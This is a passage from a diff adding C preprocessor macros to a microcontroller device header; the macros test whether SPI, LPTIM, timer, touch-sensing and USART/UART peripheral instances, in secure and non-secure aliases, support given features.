|| \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == 